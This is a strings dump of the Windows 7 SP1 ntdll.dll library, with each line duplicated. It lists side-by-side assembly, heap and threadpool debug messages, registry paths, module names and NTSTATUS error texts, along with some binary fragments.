SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0xlx.
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0xlx.
SXS: String hash table entry at %p has invalid key offset (= %ld)
SXS: String hash table entry at %p has invalid key offset (= %ld)
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
SXS: %s() found assembly information section with user data extending beyond section data
SXS: %s() found assembly information section with user data extending beyond section data
SXS: %s() found assembly information section with user data too small
SXS: %s() found assembly information section with user data too small
SXS: %s() found assembly information section with user data overlapping section header
SXS: %s() found assembly information section with user data overlapping section header
SXS: %s() found assembly information section with search structure overlapping section header
SXS: %s() found assembly information section with search structure overlapping section header
SXS: %s() found assembly information section with element list overlapping section header
SXS: %s() found assembly information section with element list overlapping section header
SXS: %s() passed string section at %p with too small of a header
SXS: %s() passed string section at %p with too small of a header
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!
SXS: %s() found assembly information section with wrong magic value
SXS: %s() found assembly information section with wrong magic value
SXS: %s() passed string section at %p only %lu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!
SXS: %s() passed string section at %p only %lu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!
SXS: %s() received invalid non-zero sub-instance index %lu
SXS: %s() received invalid non-zero sub-instance index %lu
SXS: %s() found activation context data at %p with assembly roster that has no root
SXS: %s() found activation context data at %p with assembly roster that has no root
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
SXS: %s() received invalid file index (%d) in Assembly (%d)
SXS: %s() received invalid file index (%d) in Assembly (%d)
SXS: %s() found activation context data at %p with wrong format
SXS: %s() found activation context data at %p with wrong format
SXS: %s() - internal coding error; missing switch statement branch for InfoClass == %lu
SXS: %s() - internal coding error; missing switch statement branch for InfoClass == %lu
SXS: %s() - caller asked to use active activation context but passed %p
SXS: %s() - caller asked to use active activation context but passed %p
SXS: %s() - Caller passed invalid hmodule (%p)
SXS: %s() - Caller passed invalid hmodule (%p)
SXS: %s() - Caller asked to use activation context from hmodule but passed NULL
SXS: %s() - Caller asked to use activation context from hmodule but passed NULL
SXS: %s() - Caller passed invalid address, not in any .dll (%p)
SXS: %s() - Caller passed invalid address, not in any .dll (%p)
SXS: %s() - Caller asked to use activation context from address in .dll but passed NULL
SXS: %s() - Caller asked to use activation context from address in .dll but passed NULL
SXS: %s() - caller supplied no buffer to populate and no place to return required byte count
SXS: %s() - caller supplied no buffer to populate and no place to return required byte count
SXS: %s() - caller passed nonzero buffer length but NULL buffer pointer
SXS: %s() - caller passed nonzero buffer length but NULL buffer pointer
SXS: %s() - caller asked for unknown information class %lu
SXS: %s() - caller asked for unknown information class %lu
SXS: %s() - Caller passed meaningless flags/class combination (0xlx/0xlx)
SXS: %s() - Caller passed meaningless flags/class combination (0xlx/0xlx)
SXS: %s() - Caller passed invalid flags (0xlx)
SXS: %s() - Caller passed invalid flags (0xlx)
SXS: Unabel to query location from storage root subkey %wZ; Status = 0xlx
SXS: Unabel to query location from storage root subkey %wZ; Status = 0xlx
SXS: Unable to open storage root subkey %wZ; Status = 0xlx
SXS: Unable to open storage root subkey %wZ; Status = 0xlx
SXS: Unable to open registry key %wZ Status = 0xlx
SXS: Unable to open registry key %wZ Status = 0xlx
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0xlx
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0xlx
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0xlx
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0xlx
SXS: %s() bad parameters:
SXS: %s() bad parameters:
SXS: %s() bad parameters
SXS: %s() bad parameters
SXS: StorageLocation->Length: 0x%x
SXS: StorageLocation->Length: 0x%x
SXS: Unable to open assembly directory under storage root "%S"; Status = 0xlx
SXS: Unable to open assembly directory under storage root "%S"; Status = 0xlx
SXS: Attempt to translate DOS path name "%S" to NT format failed
SXS: Attempt to translate DOS path name "%S" to NT format failed
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.
SXS: %s() passed the empty activation context
SXS: %s() passed the empty activation context
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx
'LDR: %s(), invalid image format of MUI file
'LDR: %s(), invalid image format of MUI file
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %x)
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %x)
*** Assertion failed: %s%s
*** Assertion failed: %s%s
*** Source File: %s, line %ld
*** Source File: %s, line %ld
RtlQueryRegistryValues: Miscomputed buffer size at line %d
RtlQueryRegistryValues: Miscomputed buffer size at line %d
VirtualProtect Failed 0xx %x
VirtualProtect Failed 0xx %x
VirtualQuery Failed 0xx %x
VirtualQuery Failed 0xx %x
, passed to %s
, passed to %s
Invalid heap signature for heap at %x
Invalid heap signature for heap at %x
Unable to release memory at %p for %p bytes - Status == %x
Unable to release memory at %p for %p bytes - Status == %x
Entry User Heap Size Req.Size Flags
Entry User Heap Size Req.Size Flags
:%u.%u.%u.%u
:%u.%u.%u.%u
::ffff:0:%u.%u.%u.%u
::ffff:0:%u.%u.%u.%u
::%hs%u.%u.%u.%u
::%hs%u.%u.%u.%u
%u.%u.%u.%u
%u.%u.%u.%u
X-X-X-X-X-X
X-X-X-X-X-X
Leaked Block 0x%p size 0x%p (stack %p depth %u)
Leaked Block 0x%p size 0x%p (stack %p depth %u)
*** Restarting wait on critsec or resource at %p (in %ws:%s)
*** Restarting wait on critsec or resource at %p (in %ws:%s)
*** enter .cxr %p for the context
*** enter .cxr %p for the context
*** enter .exr %p for the exception record
*** enter .exr %p for the exception record
The instruction at %p tried to %s
The instruction at %p tried to %s
*** An Access Violation occurred in %ws:%s
*** An Access Violation occurred in %ws:%s
This means that the I/O device reported an I/O error. Check your hardware.
This means that the I/O device reported an I/O error. Check your hardware.
This failed because of error %x.
This failed because of error %x.
*** Inpage error in %ws:%s
*** Inpage error in %ws:%s
The critical section is owned by thread %x.
The critical section is owned by thread %x.
*** Critical Section Timeout (%p) in %ws:%s
*** Critical Section Timeout (%p) in %ws:%s
The resource is owned shared by %d threads
The resource is owned shared by %d threads
The resource is owned exclusively by thread %x
The resource is owned exclusively by thread %x
*** Resource timeout (%p) in %ws:%s
*** Resource timeout (%p) in %ws:%s
The stack trace should show the guilty function (the function directly above __report_gsfailure).
The stack trace should show the guilty function (the function directly above __report_gsfailure).
*** A stack buffer overrun occurred in %ws:%s
*** A stack buffer overrun occurred in %ws:%s
*** Unhandled exception 0xlx, hit in %ws:%s
*** Unhandled exception 0xlx, hit in %ws:%s
Trace database: failing attempt to save biiiiig trace (size %u)
Trace database: failing attempt to save biiiiig trace (size %u)
*** RtlpMuiRegLoadLicInformation failed with status %x
*** RtlpMuiRegLoadLicInformation failed with status %x
.hotp1
.hotp1
None%s
None%s
I64X: VA32 X -> X %s
I64X: VA32 X -> X %s
I64X: PC32 X -> X (target %p) %s
I64X: PC32 X -> X (target %p) %s
I64X: VA64 6I64X -> 6I64X %s
I64X: VA64 6I64X -> 6I64X %s
Validation failure. Source = %p, Target = %p, Size = %x
Validation failure. Source = %p, Target = %p, Size = %x
Validation failed for global range %u of %u
Validation failed for global range %u of %u
I64X: jmp X (PC X) {
I64X: jmp X (PC X) {
Unsupported template type
Unsupported template type
Inserting %u hooks into target image
Inserting %u hooks into target image
Header too large (%u>%u) for copy/normalize/validate
Header too large (%u>%u) for copy/normalize/validate
Error code: %d - %s
Error code: %d - %s
heap_failure_cross_heap_operation
heap_failure_cross_heap_operation
This is located in the %s field of the heap header.
This is located in the %s field of the heap header.
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)
Heap block at %p has incorrect segment offset (%x)
Heap block at %p has incorrect segment offset (%x)
Heap entry %p has incorrect PreviousSize field (x instead of x)
Heap entry %p has incorrect PreviousSize field (x instead of x)
Invalid CommitSize parameter - %x
Invalid CommitSize parameter - %x
Invalid ReserveSize parameter - %x
Invalid ReserveSize parameter - %x
Invalid address specified to %s( %p, %p )
Invalid address specified to %s( %p, %p )
Tag x (%ws) size incorrect (%x != %x) %p
Tag x (%ws) size incorrect (%x != %x) %p
Pseudo Tag x size incorrect (%x != %x) %p
Pseudo Tag x size incorrect (%x != %x) %p
dedicated (x) free list element %p is marked busy
dedicated (x) free list element %p is marked busy
Invalid allocation size - %x (exceeded %x)
Invalid allocation size - %x (exceeded %x)
Just allocated block at %p for 0x%x bytes with tag %ws
Just allocated block at %p for 0x%x bytes with tag %ws
Just allocated block at %p for %x bytes
Just allocated block at %p for %x bytes
Just reallocated block at %p to 0x%x bytes with tag %ws
Just reallocated block at %p to 0x%x bytes with tag %ws
Just reallocated block at %p to %x bytes
Just reallocated block at %p to %x bytes
About to rellocate block at %p to 0x%x bytes with tag %ws
About to rellocate block at %p to 0x%x bytes with tag %ws
About to reallocate block at %p to %x bytes
About to reallocate block at %p to %x bytes
/$&@7$&@9$&@:$&@
/$&@7$&@9$&@:$&@
?SsHd
?SsHd
>SsHd
>SsHd
d:\win7sp1_gdr\minkernel\threadpool\ntdll\timer.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\timer.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\pool.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\pool.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\work.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\work.c
SSSSh(
SSSSh(
t%f;U
t%f;U
AlpcReturn = %p, AlpcPort = %p, Callback = %p, Context = %p, CallbackEnviron = %p
AlpcReturn = %p, AlpcPort = %p, Callback = %p, Context = %p, CallbackEnviron = %p
TppIopExecuteCallback
TppIopExecuteCallback
Pool = %p, MinThreads = %d
Pool = %p, MinThreads = %d
Pool = %p, MaxThreads = %d
Pool = %p, MaxThreads = %d
File = %x, Direct = %p, Pool = %p
File = %x, Direct = %p, Pool = %p
AlpcPort = %x, Direct = %p, Pool = %p
AlpcPort = %x, Direct = %p, Pool = %p
TimerQueueQueue = %p, Timer = %p, DueTime = 0x%I64x, Window = %d
TimerQueueQueue = %p, Timer = %p, DueTime = 0x%I64x, Window = %d
Setting KTimer to 0x6I64x (%s)
Setting KTimer to 0x6I64x (%s)
KTimer already set for due time = 0x6x
KTimer already set for due time = 0x6x
TimerQueue = %p, DoAbsoluteQueue = %s
TimerQueue = %p, DoAbsoluteQueue = %s
CapturedPeriod = %d
CapturedPeriod = %d
CapturedWindow = %d
CapturedWindow = %d
Callback = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx
Callback = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx
Wait = %p, WaitStatus = 0xx
Wait = %p, WaitStatus = 0xx
Executing Wait callback %p(%p, %p, %p, 0xx)
Executing Wait callback %p(%p, %p, %p, 0xx)
Count = %d
Count = %d
Work = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx, CleanupGroupVFuncs = %p, TaskVFuncs = %p
Work = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx, CleanupGroupVFuncs = %p, TaskVFuncs = %p
CleanupGroupMember = %p, CancelledCallbackCount = %d
CleanupGroupMember = %p, CancelledCallbackCount = %d
CleanupGroupMember = %p, CallbackCount = %d
CleanupGroupMember = %p, CallbackCount = %d
CleanupGroupMember = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx, VFuncs = %p
CleanupGroupMember = %p, Context = %p, CallbackEnviron = %p, Flags = 0xx, VFuncs = %p
d:\win7sp1_gdr\minkernel\threadpool\ntdll\worker.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\worker.c
Tcb = %p, Wait = %p, CapturedHandle = %x
Tcb = %p, Wait = %p, CapturedHandle = %x
Tcb = %p, Index = %d, Wait = %p, Status = x
Tcb = %p, Index = %d, Wait = %p, Status = x
CapturedHasDueTime = %s
CapturedHasDueTime = %s
CapturedHasDueType = %s
CapturedHasDueType = %s
CapturedHandle = 0x%x
CapturedHandle = 0x%x
Waiter wait completed with status x
Waiter wait completed with status x
Waiter is waiting: Tcb->ActiveWaits = %d, TimeoutPtr = %p, Timeout = 6I64x
Waiter is waiting: Tcb->ActiveWaits = %d, TimeoutPtr = %p, Timeout = 6I64x
*** RESCACHE: Segment %u is no longer valid. It may have been unmapped already!!! ***
*** RESCACHE: Segment %u is no longer valid. It may have been unmapped already!!! ***
*** RESCACHE: Segment %u magic field is corrupt!!! ***
*** RESCACHE: Segment %u magic field is corrupt!!! ***
ProcessHeapsListIndex
ProcessHeapsListIndex
Status: x
Status: x
Timer = %p, DueTime = 0x6I64x, Period = %d, WindowLength = %d
Timer = %p, DueTime = 0x6I64x, Period = %d, WindowLength = %d
Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.
0j.Xj0f
0j.Xj0f
sBj.Xf
sBj.Xf
s%j.Zf
s%j.Zf
j%Xf;
j%Xf;
Unhandled Exception: .exr %p - .cxr %p - Status 0xx - dt nt!_TP_CALLBACK_INSTANCE %p
Unhandled Exception: .exr %p - .cxr %p - Status 0xx - dt nt!_TP_CALLBACK_INSTANCE %p
Exception: .exr %p - .cxr %p - Status 0xx - dt nt!_TP_CALLBACK_INSTANCE %p
Exception: .exr %p - .cxr %p - Status 0xx - dt nt!_TP_CALLBACK_INSTANCE %p
d:\win7sp1_gdr\minkernel\threadpool\ntdll\tp.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\tp.c
x @ u: %s: %s:
x @ u: %s: %s:
.sb_data
.sb_data
ntdll.pdb
ntdll.pdb
2$2(2,20242^2
2$2(2,20242^2
2-3
2-3
>(>0>4>@>`>|>
>(>0>4>@>`>|>
1 1@1`1|1
1 1@1`1|1
2 2
2 2
5 5$5@5`5
5 5$5@5`5
7 7
7 7
8 8
8 8
; ;$;(;,;8;
; ;$;(;,;8;
283:4(6`6
283:4(6`6
8'9.989=9
8'9.989=9
=3=8=?={=
=3=8=?={=
0 1 171
0 1 171
55i5s5|5
55i5s5|5
6&7-7B7}7
6&7-7B7}7
%s\%sd
%s\%sd
\\?\UNC
\\?\UNC
\\?\UNC\
\\?\UNC\
csrsrv.dll
csrsrv.dll
\Registry\Machine\Software\Microsoft\Windows nt\currentversion\appcompatflags\AIT
\Registry\Machine\Software\Microsoft\Windows nt\currentversion\appcompatflags\AIT
\Registry\Machine\Software\Policies\Microsoft\Windows\Appcompat\
\Registry\Machine\Software\Policies\Microsoft\Windows\Appcompat\
\Registry\User\.Default
\Registry\User\.Default
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion
%ws\%u
%ws\%u
MSCOREE.DLL
MSCOREE.DLL
ApiPort
ApiPort
CSRPORT!
CSRPORT!
\Sessions\%ld\Windows\SharedSection
\Sessions\%ld\Windows\SharedSection
PCATESTDEPRECATION.DLL
PCATESTDEPRECATION.DLL
MSVBVM50.DLL
MSVBVM50.DLL
MSVCP50.DLL
MSVCP50.DLL
D3DRM.DLL
D3DRM.DLL
kernelbase.dll
kernelbase.dll
kernel32.dll
kernel32.dll
SPPsvc.exe
SPPsvc.exe
DebugProcessHeapOnly
DebugProcessHeapOnly
ADVAPI32.DLL
ADVAPI32.DLL
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
.Local
.Local
"/\[]:| =;,?*
"/\[]:| =;,?*
Objects=%4u
Objects=%4u
Objects>%4u
Objects>%4u
\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
verifier.dll
verifier.dll
\KernelObjects\SystemErrorPortReady
\KernelObjects\SystemErrorPortReady
\WindowsErrorReportingServicePort
\WindowsErrorReportingServicePort
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\WMR
\Registry\Machine\Software\Microsoft\SQMClient\Windows\WMR
\Registry\Machine\Software\Microsoft\Windows\Windows Error Reporting\Escalation
\Registry\Machine\Software\Microsoft\Windows\Windows Error Reporting\Escalation
%d.%d.%d.%d
%d.%d.%d.%d
WindowsMessageReportingB1
WindowsMessageReportingB1
WinShipAssert
WinShipAssert
\Software\Microsoft\Windows
\Software\Microsoft\Windows
svchost.exe
svchost.exe
\Registry\Machine\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\CommonDatapoints\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\CommonDatapoints\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\DisabledSessions\
\Registry\Machine\Software\Microsoft\SQMClient\Windows\DisabledSessions\
\Registry\Machine\Software\Microsoft\SQMClient\Windows
\Registry\Machine\Software\Microsoft\SQMClient\Windows
\Registry\Machine\Software\Policies\Microsoft\SQMClient\Windows
\Registry\Machine\Software\Policies\Microsoft\SQMClient\Windows
ASqmManifest_%x
ASqmManifest_%x
\Registry\Machine\Software\Microsoft\SQMClient\Windows\AdaptiveSqm\Throttling
\Registry\Machine\Software\Microsoft\SQMClient\Windows\AdaptiveSqm\Throttling
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\SmApiPort
\SmApiPort
\SystemRoot\bootstat.dat
\SystemRoot\bootstat.dat
X:%u.%u.%u.%u
X:%u.%u.%u.%u
%%%u!%s!
%%%u!%s!
WindowsExcludedProcs
WindowsExcludedProcs
KERNEL32.DLL
KERNEL32.DLL
%SystemRoot%
%SystemRoot%
windows seven
windows seven
windows vista
windows vista
\\.\CON
\\.\CON
{lx-x-x-xx-xxxxxx}
{lx-x-x-xx-xxxxxx}
.Local\
.Local\
\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
%s\%s%d%s
%s\%s%d%s
%s%s%d
%s%s%d
%s%s%d%s
%s%s%d%s
%s\%sd\%s*%s
%s\%sd\%s*%s
Global\%s/%sd%s
Global\%s/%sd%s
%sd-%s%s
%sd-%s%s
%s\%sd%s
%s\%sd%s
%s\%sd\%s
%s\%sd\%s
%sd-%s
%sd-%s
TimeZoneKeyName
TimeZoneKeyName
.owner
.owner
.init
.init
ResCache.hit
ResCache.hit
ResCache.dir
ResCache.dir
%s\%s
%s\%s
%s_%d
%s_%d
ResCache.usg
ResCache.usg
ResCache.mni
ResCache.mni
ResCache.ccm
ResCache.ccm
%s\%s\%s
%s\%s\%s
Global\%s%s%s
Global\%s%s%s
%s\%s*%s
%s\%s*%s
%s\*\%s
%s\*\%s
%s\%s*
%s\%s*
Global\%s/base%s
Global\%s/base%s
%sd-%s%d
%sd-%s%d
%sd-%s%d%s
%sd-%s%d%s
%s\%sd\%s%d%s
%s\%sd\%s%d%s
6.1.7601.17725 (win7sp1_gdr.111116-1503)
6.1.7601.17725 (win7sp1_gdr.111116-1503)
Windows
Windows
Operating System
Operating System
6.1.7601.17725
6.1.7601.17725
The operation that was requested is pending completion.
The operation that was requested is pending completion.
An open/create operation completed while an oplock break is underway.
An open/create operation completed while an oplock break is underway.
{Connect Failure on Primary Transport}
{Connect Failure on Primary Transport}
An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed.
An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed.
The computer WAS able to connect on a secondary transport.
The computer WAS able to connect on a secondary transport.
Cached page was locked during operation.
Cached page was locked during operation.
A file system or file system filter driver has successfully completed an FsFilter operation.
A file system or file system filter driver has successfully completed an FsFilter operation.
An operation is blocked waiting for an oplock.
An operation is blocked waiting for an oplock.
{Local Session Key}
{Local Session Key}
A user session key was requested for a local RPC connection. The session key returned is a constant value and not unique to this connection.
A user session key was requested for a local RPC connection. The session key returned is a constant value and not unique to this connection.
A serial I/O operation was completed by another write to a serial port.
A serial I/O operation was completed by another write to a serial port.
A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.)
A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.)
{Password Too Complex}
{Password Too Complex}
The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string.
The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string.
The network transport returned partial data to its client. The remaining data will be sent later.
The network transport returned partial data to its client. The remaining data will be sent later.
The network transport returned data to its client that was marked as expedited by the remote system.
The network transport returned data to its client that was marked as expedited by the remote system.
The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later.
The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later.
The specified registry key is referenced by a predefined handle.
The specified registry key is referenced by a predefined handle.
A yield execution was performed and no thread was available to run.
A yield execution was performed and no thread was available to run.
The operating system will currently accept only 16-bit (R2) pc-cards on this controller.
The operating system will currently accept only 16-bit (R2) pc-cards on this controller.
The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported.
The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported.
Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3].
Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3].
The receive operation was successful. Check the ALPC completion list for the received message.
The receive operation was successful. Check the ALPC completion list for the received message.
The attempt to commit the Transaction completed, but it is possible that some portion of the transaction tree did not commit successfully due to heuristics. Therefore it is possible that some data modified in the transaction may not have committed, resulting in transactional inconsistency. If possible, check the consistency of the associated data.
The attempt to commit the Transaction completed, but it is possible that some portion of the transaction tree did not commit successfully due to heuristics. Therefore it is possible that some data modified in the transaction may not have committed, resulting in transactional inconsistency. If possible, check the consistency of the associated data.
The %hs display driver has detected and recovered from a failure. Some graphical operations may have failed. The next time you reboot the machine a dialog will be displayed giving you a chance to upload data about this failure to Microsoft.
The %hs display driver has detected and recovered from a failure. Some graphical operations may have failed. The next time you reboot the machine a dialog will be displayed giving you a chance to upload data about this failure to Microsoft.
A single step or trace operation has just been completed.
A single step or trace operation has just been completed.
Handles to objects have been automatically closed as a result of the requested operation.
Handles to objects have been automatically closed as a result of the requested operation.
During the translation of a global identifier (GUID) to a Windows security ID (SID), no administratively-defined GUID prefix was found. A substitute prefix was used, which will not compromise system security. However, this may provide a more restrictive access than intended.
During the translation of a global identifier (GUID) to a Windows security ID (SID), no administratively-defined GUID prefix was found. A substitute prefix was used, which will not compromise system security. However, this may provide a more restrictive access than intended.
The media has changed and a verify operation is in progress so no reads or writes may be performed to the device, except those used in the verify operation.
The media has changed and a verify operation is in progress so no reads or writes may be performed to the device, except those used in the verify operation.
No more entries are available from an enumeration operation.
No more entries are available from an enumeration operation.
A long jump has been executed.
A long jump has been executed.
The Plug and Play query operation was not successful.
The Plug and Play query operation was not successful.
A frame consolidation has been executed.
A frame consolidation has been executed.
The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?
The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?
The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?
The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?
The create operation stopped after reaching a symbolic link.
The create operation stopped after reaching a symbolic link.
The device has indicated that it's door is open. Further operations require it closed and secured.
The device has indicated that it's door is open. Further operations require it closed and secured.
Windows discovered a corruption in the file "%hs".
Windows discovered a corruption in the file "%hs".
BitLocker encryption keys were ignored because the volume was in a transient state.
BitLocker encryption keys were ignored because the volume was in a transient state.
A virtual machine is running with its memory allocated across multiple NUMA nodes. This does not indicate a problem unless the performance of your virtual machine is unusually slow. If you are experiencing performance problems, you may need to modify the NUMA configuration. For detailed information, see hXXp://go.microsoft.com/fwlink/?LinkId=92362.
A virtual machine is running with its memory allocated across multiple NUMA nodes. This does not indicate a problem unless the performance of your virtual machine is unusually slow. If you are experiencing performance problems, you may need to modify the NUMA configuration. For detailed information, see hXXp://go.microsoft.com/fwlink/?LinkId=92362.
The regeneration operation was not able to copy all data from the active plexes due to bad sectors.
The regeneration operation was not able to copy all data from the active plexes due to bad sectors.
One or more disks were not fully migrated to the target pack. They may or may not require reimport after fixing the hardware problems.
One or more disks were not fully migrated to the target pack. They may or may not require reimport after fixing the hardware problems.
Some BCD entries were not imported correctly from the BCD store.
Some BCD entries were not imported correctly from the BCD store.
{Operation Failed}
{Operation Failed}
The requested operation was unsuccessful.
The requested operation was unsuccessful.
The requested operation is not implemented.
The requested operation is not implemented.
The instruction at 0xlx referenced memory at 0xlx. The memory could not be %s.
The instruction at 0xlx referenced memory at 0xlx. The memory could not be %s.
The instruction at 0x%p referenced memory at 0x%p. The required data was not placed into memory because of an I/O error status of 0x%x.
The instruction at 0x%p referenced memory at 0x%p. The required data was not placed into memory because of an I/O error status of 0x%x.
An invalid parameter was passed to a service or function.
An invalid parameter was passed to a service or function.
The specified request is not a valid operation for the target device.
The specified request is not a valid operation for the target device.
The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
Not enough virtual memory or paging file quota is available to complete the specified operation.
Not enough virtual memory or paging file quota is available to complete the specified operation.
An attempt was made to execute an illegal instruction.
An attempt was made to execute an illegal instruction.
An attempt was made to execute an invalid lock sequence.
An attempt was made to execute an invalid lock sequence.
There is a mismatch between the type of object required by the requested operation and the type of object that is specified in the request.
There is a mismatch between the type of object required by the requested operation and the type of object that is specified in the request.
Windows cannot continue from this exception.
Windows cannot continue from this exception.
An invalid or unaligned stack was encountered during an unwind operation.
An invalid or unaligned stack was encountered during an unwind operation.
An invalid unwind target was encountered during an unwind operation.
An invalid unwind target was encountered during an unwind operation.
Device parity error on I/O operation.
Device parity error on I/O operation.
Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort
Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort
Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port.
Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port.
Attempt to send a message to a disconnected communication port.
Attempt to send a message to a disconnected communication port.
The NtConnectPort request is refused.
The NtConnectPort request is refused.
The type of port handle is invalid for the operation requested.
The type of port handle is invalid for the operation requested.
Insufficient quota exists to complete the operation
Insufficient quota exists to complete the operation
An attempt to set a process's DebugPort or ExceptionPort was made, but a port already exists in the process or an attempt to set a file's CompletionPort made, but a port was already set in the file or an attempt to set an ALPC port's associated completion port was made, but it is already set.
An attempt to set a process's DebugPort or ExceptionPort was made, but a port already exists in the process or an attempt to set a file's CompletionPort made, but a port was already set in the file or an attempt to set an ALPC port's associated completion port was made, but it is already set.
An operation involving EAs failed because the file system does not support EAs.
An operation involving EAs failed because the file system does not support EAs.
An EA operation failed because EA set is too large.
An EA operation failed because EA set is too large.
An EA operation failed because the name or EA index is invalid.
An EA operation failed because the name or EA index is invalid.
A non close operation has been requested of a file object with a delete pending.
A non close operation has been requested of a file object with a delete pending.
An attempt was made to set the control attribute on a file. This attribute is not supported in the target file system.
An attempt was made to set the control attribute on a file. This attribute is not supported in the target file system.
An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client.
An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client.
Indicates the requested operation would disable or delete the last remaining administration account.
Indicates the requested operation would disable or delete the last remaining administration account.
When trying to update a password, this return status indicates that the value provided as the current password is not correct.
When trying to update a password, this return status indicates that the value provided as the current password is not correct.
When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords.
When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords.
